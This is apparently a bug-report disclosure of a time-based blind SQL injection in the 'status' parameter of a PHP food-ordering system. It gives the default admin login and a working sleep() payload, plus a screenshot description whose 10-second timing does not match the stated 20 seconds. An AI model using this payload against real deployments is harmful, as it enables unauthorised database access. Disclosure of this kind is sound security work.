

main

...

bug_report / vendors / onetnom23 / Food Ordering Management System / SQLi-1.md



YorkLee2022 Update SQLi-1.md

History

1 contributor

38 lines (16 sloc) | 1.1 KB

...

Food Ordering Management System v1.0 by oretnom23 has SQL injection

BUG_Author: YorkLee

Login account: admin/admin123 (Super Admin account)

vendors:<https://www.sourcecodester.com/php/15689/food-ordering-management-system-php-and-mysql-free-source-code.html>

Vulnerability File: /foms/all-orders.php

Vulnerability location: /foms/all-orders.php?status=Cancelled%20by%20Customer // Leak place ---> status

status exists delayed injection vulnerability

Payload1: ?

status=Cancelled%20by%20Customer%27%2b(select*from(select(sleep(20)))a)%2b%27

select(sleep(20)) The server response time is 20 seconds

The screenshot shows the Chrome DevTools Performance tab with a timeline of a page load. The 'Waiting for server response' phase is highlighted with a red box, showing a duration of 10.02 s. The timeline includes various resource loading events like 'all-orders.php?status=Cancelled', 'angular.min.js', 'custom-script.js', 'custom.min.css', 'jquery-1.11.2.min.js', 'Material-Design-Icons.woff2', 'materialize.min.css', 'materialize.min.js', 'perfect-scrollbar.css', 'perfect-scrollbar.min.js', 'plugins.min.js', 'Roboto-Bold.woff2', 'Roboto-Light.woff2', 'Roboto-Regular.woff2', 'style.min.css', and 'userav.png'.